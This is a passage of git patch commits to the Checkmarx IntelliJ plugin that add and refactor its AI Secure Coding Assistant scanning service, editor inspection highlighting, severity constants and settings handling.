com.checkmarx.intellij.settings.global.GlobalSettingsComponent; -import com.checkmarx.intellij.settings.global.GlobalSettingsState; -import com.intellij.codeInsight.daemon.DaemonCodeAnalyzer; -import com.intellij.openapi.application.ApplicationManager; -import com.intellij.openapi.diagnostic.Logger; -import com.intellij.openapi.editor.Document; -import com.intellij.openapi.editor.Editor; -import com.intellij.openapi.fileEditor.FileEditorManager; -import com.intellij.openapi.fileEditor.FileEditorManagerEvent; -import com.intellij.openapi.fileEditor.FileEditorManagerListener; -import com.intellij.openapi.project.Project; -import com.intellij.openapi.vfs.VirtualFile; -import com.intellij.psi.PsiFile; -import com.intellij.psi.PsiManager; -import org.jetbrains.annotations.NotNull; - -import java.util.Timer; -import java.util.TimerTask; - -public class AscaFileEditorListener implements FileEditorManagerListener { - - private static final Logger LOGGER = Utils.getLogger(AscaFileEditorListener.class); - private Document currentDocument; - private final Timer timer = new Timer(); - private TimerTask pendingTask; - - @Override - public void selectionChanged(@NotNull FileEditorManagerEvent event) { - GlobalSettingsState globalSettings = GlobalSettingsState.getInstance(); - if (!globalSettings.isAsca()) { - return; - } - Project project = event.getManager().getProject(); - Editor editor = FileEditorManager.getInstance(project).getSelectedTextEditor(); - - if (editor != null) { - Document document = editor.getDocument(); - VirtualFile virtualFile = FileEditorManager.getInstance(project).getSelectedFiles()[0]; - - // Reset the listener if the document changes - if (currentDocument != document) { - currentDocument = document; - registerDocumentListener(document, virtualFile, project); - } - } - } - - private void registerDocumentListener(Document document, VirtualFile virtualFile, Project project) { - document.addDocumentListener(new com.intellij.openapi.editor.event.DocumentListener() { - @Override - public void documentChanged(@NotNull com.intellij.openapi.editor.event.DocumentEvent event) { - if (pendingTask != null) { - pendingTask.cancel(); - } - - pendingTask = new TimerTask() { - @Override - public void run() { - triggerInspection(virtualFile, project); - } - }; - - timer.schedule(pendingTask, 2000); - } - }); - } - - private void triggerInspection(VirtualFile virtualFile, Project project) { - // Ensure the PSI file access is done inside a read action - ApplicationManager.getApplication().runReadAction(() -> { - PsiFile psiFile = PsiManager.getInstance(project).findFile(virtualFile); - - if (psiFile != null) { - LOGGER.info("Triggering ASCA inspection for file: " + virtualFile.getPath()); - - // Trigger the inspection by restarting the DaemonCodeAnalyzer for the file - //DaemonCodeAnalyzer.getInstance(project).restart(psiFile); - } - }); - } - -} diff --git a/src/main/resources/META-INF/plugin.xml b/src/main/resources/META-INF/plugin.xml index e3f82f1e..67f3364d 100644 --- a/src/main/resources/META-INF/plugin.xml +++ b/src/main/resources/META-INF/plugin.xml @@ -47,8 +47,6 @@ - From b32438506618dd0bfdac21fa229ad0350fd1262f Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Mon, 14 Oct 2024 12:09:31 +0300 Subject: [PATCH 11/38] delete project param from scan asca function --- src/main/java/com/checkmarx/intellij/ASCA/AscaService.java | 6 ++---- .../com/checkmarx/intellij/inspections/AscaInspection.java | 2 +- src/main/resources/META-INF/plugin.xml | 1 + 3 files changed, 4 insertions(+), 5 deletions(-) diff --git a/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java b/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java index 481331f9..0dd86516 100644 --- a/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java +++ b/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java @@ -5,7 +5,6 @@ import com.checkmarx.ast.wrapper.CxException; import com.checkmarx.intellij.commands.ASCA; import com.intellij.openapi.diagnostic.Logger; -import com.intellij.openapi.project.Project; import com.intellij.openapi.vfs.VirtualFile; import org.jetbrains.annotations.Nullable; @@ -29,17 +28,16 @@ public AscaService() { * Runs the ASCA scan on the provided file and returns the ScanResult. * * @param file the file to scan. - * @param project the IntelliJ project context. * @param ascLatestVersion whether to use the latest version of the ASCA agent. * @param agent the agent name to use. * @return the result of the ASCA scan, or null if the scan failed. */ @Nullable - public ScanResult runAscaScan(VirtualFile file, Project project, boolean ascLatestVersion, String agent) { + public ScanResult runAscaScan(VirtualFile file, boolean ascLatestVersion, String agent) { if (ignoreFiles(file)) { return null; } - + file.getName(); try { // Save the file temporarily String filePath = saveTempFile(file.getName(), new String(file.contentsToByteArray())); diff --git a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java index 24710561..2c911f05 100644 --- a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java +++ b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java @@ -89,6 +89,6 @@ private ProblemHighlightType determineHighlightType(ScanDetail detail) { private ScanResult performAscaScan(PsiFile file) { // Perform the ASCA scan here using the AscaService - return new AscaService().runAscaScan(file.getVirtualFile(), file.getProject(), false, Constants.JET_BRAINS_AGENT_NAME); + return new AscaService().runAscaScan(file.getVirtualFile(), false, Constants.JET_BRAINS_AGENT_NAME); } } diff --git a/src/main/resources/META-INF/plugin.xml b/src/main/resources/META-INF/plugin.xml index 67f3364d..357ff9a9 100644 --- a/src/main/resources/META-INF/plugin.xml +++ b/src/main/resources/META-INF/plugin.xml @@ -39,6 +39,7 @@ From 707bea2d96b5b72e4e003d163ddfdbee6f34e005 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Mon, 14 Oct 2024 14:50:25 +0300 Subject: [PATCH 12/38] erradded error handling in asca scan --- .../checkmarx/intellij/ASCA/AscaService.java | 68 ++++++++++----- .../intellij/inspections/AscaInspection.java | 84 +++++++++++-------- .../global/GlobalSettingsComponent.java | 11 ++- .../settings/global/GlobalSettingsState.java | 8 -- 4 files changed, 99 insertions(+), 72 deletions(-) diff --git a/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java b/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java index 0dd86516..6162fe97 100644 --- a/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java +++ b/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java @@ -5,7 +5,11 @@ import com.checkmarx.ast.wrapper.CxException; import com.checkmarx.intellij.commands.ASCA; import com.intellij.openapi.diagnostic.Logger; +import com.intellij.openapi.editor.Document; +import com.intellij.openapi.project.Project; import com.intellij.openapi.vfs.VirtualFile; +import com.intellij.psi.PsiDocumentManager; +import com.intellij.psi.PsiFile; import org.jetbrains.annotations.Nullable; import java.io.File; @@ -33,37 +37,58 @@ public AscaService() { * @return the result of the ASCA scan, or null if the scan failed. */ @Nullable - public ScanResult runAscaScan(VirtualFile file, boolean ascLatestVersion, String agent) { - if (ignoreFiles(file)) { + public ScanResult runAscaScan(PsiFile file, Project project, boolean ascLatestVersion, String agent) { + // Check if the file should be ignored + if (ignoreFiles(file.getVirtualFile())) { return null; } - file.getName(); + + // Get the document (in-memory representation of the file) to capture unsaved changes + Document document = PsiDocumentManager.getInstance(project).getDocument(file); + String fileContent; + try { - // Save the file temporarily - String filePath = saveTempFile(file.getName(), new String(file.contentsToByteArray())); + // If document exists, use the in-memory content (unsaved changes) + if (document != null) { + fileContent = document.getText(); + } else { + // If document does not exist, use the saved content from the file on disk + fileContent = new String(file.getVirtualFile().contentsToByteArray()); + } + + // Save the content to a temporary file + String tempFilePath = saveTempFile(file.getName(), fileContent); + if (tempFilePath == null) { + LOGGER.error("Failed to create temporary file for ASCA scan."); + return null; + } - // Run the ASCA scan - LOGGER.info("Start ASCA scan on file: " + file.getPath()); - ScanResult scanResult = ASCA.scanAsca(filePath, ascLatestVersion, agent); + // Run the ASCA scan on the temporary file + LOGGER.info("Start ASCA scan on file: " + file.getVirtualFile().getPath()); + ScanResult scanResult = ASCA.scanAsca(tempFilePath, ascLatestVersion, agent); - // Delete the temporary file - deleteFile(filePath); - LOGGER.info("File " + filePath + " deleted."); + // Clean up the temporary file + deleteFile(tempFilePath); + LOGGER.info("Temporary file " + tempFilePath + " deleted."); - // Handle errors if any + // Handle scan errors if any if (scanResult.getError() != null) { LOGGER.warn("ASCA Warning: " + (scanResult.getError().getDescription() != null ? scanResult.getError().getDescription() : scanResult.getError())); return null; } + + // Log the scan details or absence of violations if (scanResult.getScanDetails() == null) { - LOGGER.info("No security best practice violations found in " + file.getPath()); - return scanResult; - } else LOGGER.info(scanResult.getScanDetails().size() + " security best practice violations found in " + file.getPath()); + LOGGER.info("No security best practice violations found in " + file.getVirtualFile().getPath()); + } else { + LOGGER.info(scanResult.getScanDetails().size() + " security best practice violations found in " + file.getVirtualFile().getPath()); + } + return scanResult; } catch (IOException | CxConfig.InvalidCLIConfigException | URISyntaxException | CxException | InterruptedException e) { - LOGGER.error("Error during ASCA scan.", e); + LOGGER.warn("Error during ASCA scan:", e); return null; } } @@ -101,15 +126,12 @@ private void deleteFile(String filePath) { /** * Installs the ASCA CLI if not already installed. */ - public void installAsca() { - try { + public String installAsca() throws CxException, CxConfig.InvalidCLIConfigException, IOException, URISyntaxException, InterruptedException { ScanResult res = ASCA.installAsca(); if (res.getError() != null) { - String errorMessage = "ASCA Installation Error: " + res.getError().getDescription(); - LOGGER.error(errorMessage); + LOGGER.error("ASCA Installation Error: " + res.getError().getDescription()); + return res.getError().getDescription(); } - } catch (Exception e) { - LOGGER.error("Error during ASCA installation.", e); - } + return "AI Secure Coding Assistant started."; } } diff --git a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java index 2c911f05..05638735 100644 --- a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java +++ b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java @@ -4,6 +4,7 @@ import com.checkmarx.ast.asca.ScanResult; import com.checkmarx.intellij.ASCA.AscaService; import com.checkmarx.intellij.Constants; +import com.checkmarx.intellij.settings.global.GlobalSettingsState; import com.intellij.codeInspection.*; import com.intellij.openapi.editor.Document; import com.intellij.openapi.project.Project; @@ -15,59 +16,68 @@ import java.util.List; public class AscaInspection extends LocalInspectionTool { + private final GlobalSettingsState settings = GlobalSettingsState.getInstance(); @Override public ProblemDescriptor @NotNull [] checkFile(@NotNull PsiFile file, @NotNull InspectionManager manager, boolean isOnTheFly) { - // Perform the ASCA scan and retrieve the results - ScanResult scanResult = performAscaScan(file); - - if (scanResult != null && scanResult.getScanDetails()!=null) { - List problems = new ArrayList<>(); - Project project = file.getProject(); - Document document = PsiDocumentManager.getInstance(project).getDocument(file); - - if (document == null) { - return ProblemDescriptor.EMPTY_ARRAY; - } + if (!settings.isAsca()) { + return ProblemDescriptor.EMPTY_ARRAY; + } + try { + // Perform the ASCA scan and retrieve the results + ScanResult scanResult = performAscaScan(file); + if (scanResult != null && scanResult.getScanDetails()!=null) { + List problems = new ArrayList<>(); + Project project = file.getProject(); + Document document = PsiDocumentManager.getInstance(project).getDocument(file); + + if (document == null) { + return ProblemDescriptor.EMPTY_ARRAY; + } - for (ScanDetail detail : scanResult.getScanDetails()) { - int lineNumber = detail.getLine(); // Assuming getLineNumber() exists + for (ScanDetail detail : scanResult.getScanDetails()) { + int lineNumber = detail.getLine(); // Assuming getLineNumber() exists - if (lineNumber > 0 && lineNumber <= document.getLineCount()) { - int startOffset = document.getLineStartOffset(lineNumber - 1); // Convert line number to start offset - int endOffset = document.getLineEndOffset(lineNumber - 1); // Calculate end offset as the end of the line + if (lineNumber > 0 && lineNumber <= document.getLineCount()) { + int startOffset = document.getLineStartOffset(lineNumber - 1); // Convert line number to start offset + int endOffset = document.getLineEndOffset(lineNumber - 1); // Calculate end offset as the end of the line - // Find the PsiElement at the start offset - PsiElement elementAtLine = file.findElementAt(startOffset); + // Find the PsiElement at the start offset + PsiElement elementAtLine = file.findElementAt(startOffset); - if (elementAtLine != null) { - // You can further refine the end offset based on the element or the problem details - endOffset = Math.min(endOffset, document.getTextLength()); // Ensure endOffset is within the document length + if (elementAtLine != null) { + // You can further refine the end offset based on the element or the problem details + endOffset = Math.min(endOffset, document.getTextLength()); // Ensure endOffset is within the document length - // Create a custom TextRange for highlighting a specific portion of the document - TextRange problemRange = new TextRange(startOffset, endOffset); + // Create a custom TextRange for highlighting a specific portion of the document + TextRange problemRange = new TextRange(startOffset, endOffset); - String description = detail.getRuleName() + " - " + detail.getRemediationAdvise(); - ProblemHighlightType highlightType = determineHighlightType(detail); + String description = detail.getRuleName() + " - " + detail.getRemediationAdvise(); + ProblemHighlightType highlightType = determineHighlightType(detail); - ProblemDescriptor problem = manager.createProblemDescriptor( - file, // The file where the problem occurs - problemRange, // The custom range of the problem - description, // The issue description - highlightType, // Highlight type - isOnTheFly, // Whether it is on-the-fly inspection - (LocalQuickFix) null // Optional quick fix - ); - problems.add(problem); + ProblemDescriptor problem = manager.createProblemDescriptor( + file, // The file where the problem occurs + problemRange, // The custom range of the problem + description, // The issue description + highlightType, // Highlight type + isOnTheFly, // Whether it is on-the-fly inspection + (LocalQuickFix) null // Optional quick fix + ); + problems.add(problem); + } } } + + return problems.toArray(ProblemDescriptor[]::new); } - return problems.toArray(ProblemDescriptor[]::new); + return ProblemDescriptor.EMPTY_ARRAY; + } + catch (Exception e) { + return ProblemDescriptor.EMPTY_ARRAY; } - return ProblemDescriptor.EMPTY_ARRAY; } private ProblemHighlightType determineHighlightType(ScanDetail detail) { @@ -89,6 +99,6 @@ private ProblemHighlightType determineHighlightType(ScanDetail detail) { private ScanResult performAscaScan(PsiFile file) { // Perform the ASCA scan here using the AscaService - return new AscaService().runAscaScan(file.getVirtualFile(), false, Constants.JET_BRAINS_AGENT_NAME); + return new AscaService().runAscaScan(file, file.getProject(), false, Constants.JET_BRAINS_AGENT_NAME); } } diff --git a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java index 72c6f962..138c02cb 100644 --- a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java +++ b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java @@ -3,6 +3,7 @@ import com.checkmarx.ast.asca.ScanResult; import com.checkmarx.ast.wrapper.CxConfig; import com.checkmarx.ast.wrapper.CxException; +import com.checkmarx.intellij.ASCA.AscaService; import com.checkmarx.intellij.Bundle; import com.checkmarx.intellij.Constants; import com.checkmarx.intellij.Resource; @@ -173,9 +174,9 @@ private void runAscaScanInBackground() { protected Void doInBackground() { try { ascaRunning.setVisible(false); - ScanResult ascaResults = ASCA.scanAsca("", true, Constants.JET_BRAINS_AGENT_NAME); - LOGGER.info(ascaResults.getMessage()); - setAscaRunning(ascaResults.getMessage(), JBColor.GREEN); + String ascaMsg = new AscaService().installAsca(); + LOGGER.info(ascaMsg); + setAscaRunning(ascaMsg, JBColor.GREEN); } catch (IOException | URISyntaxException | InterruptedException ex) { LOGGER.warn(Bundle.message(Resource.ASCA_SCAN_WARNING), ex); } catch (CxException | CxConfig.InvalidCLIConfigException ex) { @@ -184,7 +185,9 @@ protected Void doInBackground() { setAscaRunning(msg.substring(lastLineIndex).trim(), JBColor.RED); LOGGER.warn(Bundle.message(Resource.ASCA_SCAN_WARNING, msg.substring(lastLineIndex).trim())); } finally { - ascaRunning.setVisible(true); + if (ascaCheckBox.isSelected()) { + ascaRunning.setVisible(true); + } } return null; } diff --git a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsState.java b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsState.java index d4f311dc..7fc27153 100644 --- a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsState.java +++ b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsState.java @@ -1,8 +1,6 @@ package com.checkmarx.intellij.settings.global; -import com.checkmarx.intellij.Bundle; import com.checkmarx.intellij.Constants; -import com.checkmarx.intellij.Resource; import com.checkmarx.intellij.Utils; import com.checkmarx.intellij.tool.window.ResultState; import com.checkmarx.intellij.tool.window.Severity; @@ -16,7 +14,6 @@ import lombok.EqualsAndHashCode; import lombok.Getter; import lombok.Setter; -import org.apache.commons.lang3.StringUtils; import org.jetbrains.annotations.NotNull; import org.jetbrains.annotations.Nullable; @@ -41,7 +38,6 @@ public static GlobalSettingsState getInstance() { @NotNull private String additionalParameters = ""; - @NotNull private boolean asca = false; @NotNull @@ -69,9 +65,5 @@ public static Set getDefaultFilters() { return set; } - - public void setAscaEnabled(boolean ascaEnabled) { - this.asca = ascaEnabled; - } } From c9806ca44d7c74de36d70a80167e1ae82eb6bca4 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Mon, 14 Oct 2024 16:20:53 +0300 Subject: [PATCH 13/38] Change deprecated Information ProblemHighlight into Weak Warning --- .../com/checkmarx/intellij/inspections/AscaInspection.java | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java index 05638735..95a44018 100644 --- a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java +++ b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java @@ -86,14 +86,14 @@ private ProblemHighlightType determineHighlightType(ScanDetail detail) { switch (severity) { case "Critical": - return ProblemHighlightType.GENERIC_ERROR; + return ProblemHighlightType.ERROR; case "High": - return ProblemHighlightType.GENERIC_ERROR; // Error for high-severity issues + return ProblemHighlightType.ERROR; // Error for high-severity issues case "Medium": return ProblemHighlightType.WARNING; // Warning for medium severity case "Low": default: - return ProblemHighlightType.INFORMATION; // Weak warning for low severity or unknown severity + return ProblemHighlightType.WEAK_WARNING; // Weak warning for low severity or unknown severity } } From 7a80a14ded14566a5a20762a7300d2c5a2837722 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Mon, 14 Oct 2024 16:30:51 +0300 Subject: [PATCH 14/38] Add severity asca constants --- src/main/java/com/checkmarx/intellij/Constants.java | 4 ++++ .../intellij/inspections/AscaInspection.java | 13 +++++++------ 2 files changed, 11 insertions(+), 6 deletions(-) diff --git a/src/main/java/com/checkmarx/intellij/Constants.java b/src/main/java/com/checkmarx/intellij/Constants.java index 36360304..6c7a453c 100644 --- a/src/main/java/com/checkmarx/intellij/Constants.java +++ b/src/main/java/com/checkmarx/intellij/Constants.java @@ -79,4 +79,8 @@ private Constants() { public static final String SCAN_STATUS_RUNNING = "running"; public static final String SCAN_STATUS_COMPLETED = "completed"; public static final String JET_BRAINS_AGENT_NAME = "Jetbrains"; + public static final String ASCA_CRITICAL_SEVERITY = "Critical"; + public static final String ASCA_HIGH_SEVERITY = "High"; + public static final String ASCA_MEDIUM_SEVERITY = "Medium"; + public static final String ASCA_LOW_SEVERITY = "Low"; } diff --git a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java index 95a44018..09f1398d 100644 --- a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java +++ b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java @@ -85,13 +85,14 @@ private ProblemHighlightType determineHighlightType(ScanDetail detail) { String severity = detail.getSeverity(); switch (severity) { - case "Critical": - return ProblemHighlightType.ERROR; - case "High": - return ProblemHighlightType.ERROR; // Error for high-severity issues - case "Medium": + case Constants.ASCA_CRITICAL_SEVERITY: + return ProblemHighlightType.GENERIC_ERROR; + case Constants.ASCA_HIGH_SEVERITY: + return ProblemHighlightType.GENERIC_ERROR; // Error for high-severity issues + case Constants.ASCA_MEDIUM_SEVERITY: return ProblemHighlightType.WARNING; // Warning for medium severity - case "Low": + case Constants.ASCA_LOW_SEVERITY: + return ProblemHighlightType.WEAK_WARNING; // Weak warning for low severity default: return ProblemHighlightType.WEAK_WARNING; // Weak warning for low severity or unknown severity } From ad6a18ee8ccb8831e0c016657c01e881e4bf1df1 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Tue, 15 Oct 2024 11:52:45 +0300 Subject: [PATCH 15/38] refactor code --- .../checkmarx/intellij/ASCA/AscaService.java | 145 ++++++++++-------- .../intellij/inspections/AscaInspection.java | 123 +++++++-------- .../inspections/quickfixes/AscaQuickFix.java | 31 ++++ 3 files changed, 179 insertions(+), 120 deletions(-) create mode 100644 src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java diff --git a/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java b/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java index 6162fe97..dc5abfd0 100644 --- a/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java +++ b/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java @@ -7,6 +7,7 @@ import com.intellij.openapi.diagnostic.Logger; import com.intellij.openapi.editor.Document; import com.intellij.openapi.project.Project; +import com.intellij.openapi.util.text.Strings; import com.intellij.openapi.vfs.VirtualFile; import com.intellij.psi.PsiDocumentManager; import com.intellij.psi.PsiFile; @@ -25,113 +26,137 @@ public class AscaService { private static final Logger LOGGER = Logger.getInstance(AscaService.class); public AscaService() { - // Default constructor } /** * Runs the ASCA scan on the provided file and returns the ScanResult. - * - * @param file the file to scan. - * @param ascLatestVersion whether to use the latest version of the ASCA agent. - * @param agent the agent name to use. - * @return the result of the ASCA scan, or null if the scan failed. */ @Nullable public ScanResult runAscaScan(PsiFile file, Project project, boolean ascLatestVersion, String agent) { - // Check if the file should be ignored - if (ignoreFiles(file.getVirtualFile())) { + VirtualFile virtualFile = file.getVirtualFile(); + + if (ignoreFiles(virtualFile)) { return null; } - // Get the document (in-memory representation of the file) to capture unsaved changes - Document document = PsiDocumentManager.getInstance(project).getDocument(file); - String fileContent; - - try { - // If document exists, use the in-memory content (unsaved changes) - if (document != null) { - fileContent = document.getText(); - } else { - // If document does not exist, use the saved content from the file on disk - fileContent = new String(file.getVirtualFile().contentsToByteArray()); - } + String fileContent = getFileContent(file, project); + if (fileContent == null) { + return null; + } - // Save the content to a temporary file - String tempFilePath = saveTempFile(file.getName(), fileContent); - if (tempFilePath == null) { - LOGGER.error("Failed to create temporary file for ASCA scan."); - return null; - } + String tempFilePath = saveTempFile(file.getName(), fileContent); + if (tempFilePath == null) { + LOGGER.warn("Failed to create temporary file for ASCA scan."); + return null; + } - // Run the ASCA scan on the temporary file - LOGGER.info("Start ASCA scan on file: " + file.getVirtualFile().getPath()); + try { + LOGGER.info(Strings.join("Starting ASCA scan on file: ", virtualFile.getPath())); ScanResult scanResult = ASCA.scanAsca(tempFilePath, ascLatestVersion, agent); - - // Clean up the temporary file + handleScanResult(file, scanResult); + return scanResult; + } catch (Exception e) { + LOGGER.warn("Error during ASCA scan:", e); + return null; + } finally { deleteFile(tempFilePath); - LOGGER.info("Temporary file " + tempFilePath + " deleted."); + } + } - // Handle scan errors if any - if (scanResult.getError() != null) { - LOGGER.warn("ASCA Warning: " + (scanResult.getError().getDescription() != null ? - scanResult.getError().getDescription() : scanResult.getError())); - return null; - } + /** + * Gets the file content, either from in-memory document or from disk. + */ + @Nullable + private String getFileContent(PsiFile file, Project project) { + Document document = PsiDocumentManager.getInstance(project).getDocument(file); - // Log the scan details or absence of violations - if (scanResult.getScanDetails() == null) { - LOGGER.info("No security best practice violations found in " + file.getVirtualFile().getPath()); + try { + if (document != null) { + return document.getText(); } else { - LOGGER.info(scanResult.getScanDetails().size() + " security best practice violations found in " + file.getVirtualFile().getPath()); + return new String(file.getVirtualFile().contentsToByteArray()); } - - return scanResult; - - } catch (IOException | CxConfig.InvalidCLIConfigException | URISyntaxException | CxException | InterruptedException e) { - LOGGER.warn("Error during ASCA scan:", e); + } catch (IOException e) { + LOGGER.warn("Failed to retrieve file content:", e); return null; } } - private boolean ignoreFiles(VirtualFile file) { - // Ignore non-local files - return !file.isInLocalFileSystem(); + /** + * Handles the scan result, logs any errors or violations. + */ + private void handleScanResult(PsiFile file, ScanResult scanResult) { + if (scanResult == null || scanResult.getError() != null) { + String errorDescription = scanResult != null ? + scanResult.getError().getDescription() : "Unknown error"; + LOGGER.warn(String.join(": ", "ASCA scan error", errorDescription)); + return; + } + + String fileName = file.getVirtualFile().getName(); + int violationCount = (scanResult.getScanDetails() != null) ? scanResult.getScanDetails().size() : 0; + if (violationCount == 0) { + LOGGER.info(String.join(" ", "No security best practice violations found in", fileName)); + } else { + String violationMessage = violationCount == 1 ? + Strings.join("1 security best practice violation found in ", file.getName()) : + violationCount + Strings.join(" security best practice violations found in" + fileName); + LOGGER.info(String.join(" ", violationMessage, "in", file.getName())); + } } + + /** + * Saves content to a temporary file. + */ + @Nullable private String saveTempFile(String fileName, String content) { try { Path tempDir = Paths.get(System.getProperty("java.io.tmpdir"), ASCA_DIR); Files.createDirectories(tempDir); Path tempFilePath = tempDir.resolve(fileName); Files.write(tempFilePath, content.getBytes()); - LOGGER.info("Temp file was saved in: " + tempFilePath); + LOGGER.debug("Temp file saved at: " + tempFilePath); return tempFilePath.toString(); } catch (IOException e) { - LOGGER.error("Failed to save temporary file:", e); + LOGGER.warn("Failed to save temporary file:", e); return null; } } + /** + * Deletes a file by the given file path. + */ private void deleteFile(String filePath) { try { - File file = new File(filePath); + Path normalizedPath = Paths.get(filePath).toAbsolutePath().normalize(); + File file = normalizedPath.toFile(); if (file.exists()) { - file.delete(); + if (file.delete()) { + LOGGER.debug(Strings.join("Temporary file ", filePath, " deleted.")); + } } } catch (Exception e) { - LOGGER.error("Failed to delete file", e); + LOGGER.warn("Failed to delete file", e); } } + /** + * Determines whether the file should be ignored. + */ + private boolean ignoreFiles(VirtualFile file) { + return !file.isInLocalFileSystem(); + } + /** * Installs the ASCA CLI if not already installed. */ public String installAsca() throws CxException, CxConfig.InvalidCLIConfigException, IOException, URISyntaxException, InterruptedException { - ScanResult res = ASCA.installAsca(); - if (res.getError() != null) { - LOGGER.error("ASCA Installation Error: " + res.getError().getDescription()); - return res.getError().getDescription(); - } - return "AI Secure Coding Assistant started."; + ScanResult res = ASCA.installAsca(); + if (res.getError() != null) { + LOGGER.warn(Strings.join("ASCA installation error: ", res.getError().getDescription())); + return res.getError().getDescription(); + } + return "AI Secure Coding Assistant started."; } } diff --git a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java index 09f1398d..ba5bbfe2 100644 --- a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java +++ b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java @@ -4,10 +4,10 @@ import com.checkmarx.ast.asca.ScanResult; import com.checkmarx.intellij.ASCA.AscaService; import com.checkmarx.intellij.Constants; +import com.checkmarx.intellij.inspections.quickfixes.AscaQuickFix; import com.checkmarx.intellij.settings.global.GlobalSettingsState; import com.intellij.codeInspection.*; import com.intellij.openapi.editor.Document; -import com.intellij.openapi.project.Project; import com.intellij.openapi.util.TextRange; import com.intellij.psi.*; import org.jetbrains.annotations.NotNull; @@ -19,87 +19,90 @@ public class AscaInspection extends LocalInspectionTool { private final GlobalSettingsState settings = GlobalSettingsState.getInstance(); @Override - public ProblemDescriptor @NotNull [] checkFile(@NotNull PsiFile file, @NotNull InspectionManager manager, boolean isOnTheFly) { + public ProblemDescriptor @NotNull[] checkFile(@NotNull PsiFile file, @NotNull InspectionManager manager, boolean isOnTheFly) { if (!settings.isAsca()) { return ProblemDescriptor.EMPTY_ARRAY; } - try { - // Perform the ASCA scan and retrieve the results - ScanResult scanResult = performAscaScan(file); - if (scanResult != null && scanResult.getScanDetails()!=null) { - List problems = new ArrayList<>(); - Project project = file.getProject(); - Document document = PsiDocumentManager.getInstance(project).getDocument(file); - - if (document == null) { - return ProblemDescriptor.EMPTY_ARRAY; - } - - for (ScanDetail detail : scanResult.getScanDetails()) { - int lineNumber = detail.getLine(); // Assuming getLineNumber() exists - - if (lineNumber > 0 && lineNumber <= document.getLineCount()) { - int startOffset = document.getLineStartOffset(lineNumber - 1); // Convert line number to start offset - int endOffset = document.getLineEndOffset(lineNumber - 1); // Calculate end offset as the end of the line - - // Find the PsiElement at the start offset - PsiElement elementAtLine = file.findElementAt(startOffset); - - if (elementAtLine != null) { - // You can further refine the end offset based on the element or the problem details - endOffset = Math.min(endOffset, document.getTextLength()); // Ensure endOffset is within the document length - - // Create a custom TextRange for highlighting a specific portion of the document - TextRange problemRange = new TextRange(startOffset, endOffset); - - String description = detail.getRuleName() + " - " + detail.getRemediationAdvise(); - ProblemHighlightType highlightType = determineHighlightType(detail); - - - ProblemDescriptor problem = manager.createProblemDescriptor( - file, // The file where the problem occurs - problemRange, // The custom range of the problem - description, // The issue description - highlightType, // Highlight type - isOnTheFly, // Whether it is on-the-fly inspection - (LocalQuickFix) null // Optional quick fix - ); - problems.add(problem); - } - } - } - - return problems.toArray(ProblemDescriptor[]::new); - } + ScanResult scanResult = performAscaScan(file); + if (isInvalidScan(scanResult)) { return ProblemDescriptor.EMPTY_ARRAY; } - catch (Exception e) { + + Document document = PsiDocumentManager.getInstance(file.getProject()).getDocument(file); + if (document == null) { return ProblemDescriptor.EMPTY_ARRAY; } + return createProblemDescriptors(file, manager, scanResult.getScanDetails(), document, isOnTheFly); + } + + private ProblemDescriptor[] createProblemDescriptors(@NotNull PsiFile file, @NotNull InspectionManager manager, List scanDetails, Document document, boolean isOnTheFly) { + List problems = new ArrayList<>(); + + for (ScanDetail detail : scanDetails) { + int lineNumber = detail.getLine(); + if (isLineOutOfRange(lineNumber, document)) { + continue; + } + + PsiElement elementAtLine = file.findElementAt(document.getLineStartOffset(lineNumber - 1)); + if (elementAtLine != null) { + ProblemDescriptor problem = createProblemDescriptor(file, manager, detail, document, lineNumber, isOnTheFly); + problems.add(problem); + } + } + + return problems.toArray(ProblemDescriptor[]::new); + } + + private ProblemDescriptor createProblemDescriptor(@NotNull PsiFile file, @NotNull InspectionManager manager, ScanDetail detail, Document document, int lineNumber, boolean isOnTheFly) { + TextRange problemRange = getTextRangeForLine(document, lineNumber); + String description = getDescriptionTemplate(detail); + ProblemHighlightType 